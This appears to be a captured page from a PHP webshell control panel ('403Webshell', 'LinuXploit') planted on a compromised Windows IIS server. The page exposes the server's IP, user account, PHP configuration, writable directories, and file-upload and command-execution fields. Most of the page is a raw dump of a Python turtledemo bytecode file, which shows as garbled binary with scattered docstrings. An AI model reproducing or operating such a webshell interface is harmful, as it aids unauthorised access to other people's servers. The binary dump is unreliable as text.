403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/turtledemo/__pycache__/bytedesign.cpython-315.pyc
R
>lqj�c��Qs]QHGsGs]QHGsQQ\2sQs\	Q6Xc\2s
\\
2\2P!P!)a�turtledemo/bytedesign.py

An example adapted from the example-suite
of PythonCard's turtle graphics.

It's based on an article in BYTE magazine
Problem Solving with Logo: Using Turtle
Graphics to Redraw a Design
November 1982, p. 118 - 134

-------------------------------------------

Due to the statement

t.delay(0)

in line 152, which sets the animation delay
to 0, this animation runs in "line per line"
mode as fast as possible.
)�Turtle�mainloop)�perf_counterc�X`�\sQs]snQsQsQsQsQsQs	Qs
QsQ	sQ
s
UsP!)�Designerc��UO2[]2FD�oUOQU*2UO2UO	UO2U2UO2UO
QU*2UO]H2J�	UO2UOU2UO]$2UOQU*2UO]�2UO2UO].U*QU2UO2OP	2P!)�g�����)P@g�8@g������a@)�up�range�forward�down�wheel�position�backward�right�goto�centerpiece�	getscreen�tracer)�self�homePos�scale�is&&& �*C:\Python315\\Lib\turtledemo\bytedesign.py�design�Designer.designs������	��q��A��L�L����'��I�I�K��J�J�t�}�}���.��G�G�I��M�M�%�%�-�(��J�J�r�N�
�	
���	��	�	�'���
�
�2�����T�E�\�"��
�
�3���	�	������e��U�E�2��������%�c�d�UO]62[]2FDoUOV2J	UO2UO	]$2[]2FDoUOV2J	UO	]$2[]2FDdoUO2UO]H2UO
]U*2UO2UO]U*2Jf	UO	]62UO2O2P!)�6)rr	�	pentpiecer�left�tripiecer
rrr�update)r�initposrrs&&& rr�Designer.wheel/s����
�
�2���q��A��N�N�7�*���	�	���	�	�"�
��q��A��M�M�'�)���	�	�"�
��q��A��I�I�K��J�J�r�N��L�L��e��$��G�G�I��M�M�"�u�*�%��	
�	�	�"�
�������!rc�R�UO2oUO2UOQU*2UOQU*U2UO	2UOU2UO
U2UO2UOQU*2UOQU*U2UO	2UOU2UO
U2UO]H2UO2O2P!)g@g�?@)�headingrr�tripolyrrr�
setheading�tripolylrrr!)rr"r�oldhs&&& rr �Designer.tripieceAs����|�|�~���	�	���
�
�c�E�k�"��
�
�d�U�l�E�*����	��	�	�'��������	�	���
�
�c�E�k�"��
�
�d�U�l�E�*����	��	�	�'��������	�	�"�
�������!rc�f�UO2oUO2UO]U*2UO2[	]2FD,oUO]U*2UO]H2J.	UO
]U*]KU2UO2UOU2UOU2UO]U*2UO2[	]2FD,oUO]U*2UO]H2J.	UO]U*]KU2UO2UOU2UOU2UO]H2UO2O2P!)�)
r%rr
rr	r�pentrrr'�pentlrrr!)rr"rr)rs&&&  rr�Designer.pentpieceRs&���|�|�~�����	����R�%�Z� ��	�	���q��A��L�L��e��$��J�J�r�N��	
�
�
�2��:�r�5�)����	��	�	�'����������R�%�Z� ��	�	���q��A��L�L��e��$��J�J�r�N��	
�
�
�2��:�r�5�)����	��	�	�'��������	�	�"�
�������!rc��U]U*6cP!UOU2UOU2UOUQU**
V#2P!��gR���Q�?)r
rr.�r�side�angrs&&&&rr.�Designer.pentljs>���1�u�9��v����T���	�	�#���
�
�4�3��;�'��4rc��U]U*6cP!UOU2UOU2UOUQU**
V#2P!r1)r
rr-r3s&&&&rr-�Designer.pentrps>���1�u�9��v����T���
�
�3���
�
�4�3��;�'��4rc�B�U]U*6cP!UOU2UO]o2UOUQ*2UO]o2UOUQ*2UO]�2UOUQ*U2P!��g{�G�z�?g�������?g�?)r
rr&�rr4rs&&&rr&�Designer.tripolyrvso���1�u�9��v����T���
�
�3�����T�D�[�!��
�
�3�����T�C�Z� ��
�
�3���
�
�d�S�j�%�(rc�B�U]U*6cP!UOU2UO]o2UOUQ*2UO]o2UOUQ*2UO]�2UOUQ*U2P!r:)r
rr(r<s&&&rr(�Designer.tripolyl�so���1�u�9��v����T���	�	�#�����T�D�[�!��	�	�#�����T�C�Z� ��	�	�#���
�
�d�S�j�%�(rc��UOU2UOU2UQU*6cP!UOUQU**
V#2P!)g@g333333�?)r
rr)r�s�ars&&&&rr�Designer.centerpiece�s?�����Q�����1����e��������c�E�k�*�A�5r�)�__name__�
__module__�__qualname__�__firstlineno__rrr rr.r-r&r(r�__static_attributes__�__classdictcell__)�
__classdict__s@rrrs7����&�$"�$"�""�05�5�)�)�6�6rrc�\�[2oUO]2UO2UO2O	]2UO2O]2[
2oUOUO2]2[
2oQV!*
*!)�zruntime: %.2f sec.)	r�speed�
hideturtler�delayr�clockrr
)�t�at�ets   r�mainrU�st���
�A��G�G�A�J��L�L�N��K�K�M������K�K�M�����	��B��H�H�Q�Z�Z�\�1��	��B��2�5�)�)r�__main__)�__doc__�turtlerr�timerrQrrUrE�msg�printrDrr�<module>r\sH���*$�&�s6�v�s6�j	*��z��
�&�C�	�#�J��J�r

Youez - 2016 - github.com/yon3zu
LinuXploit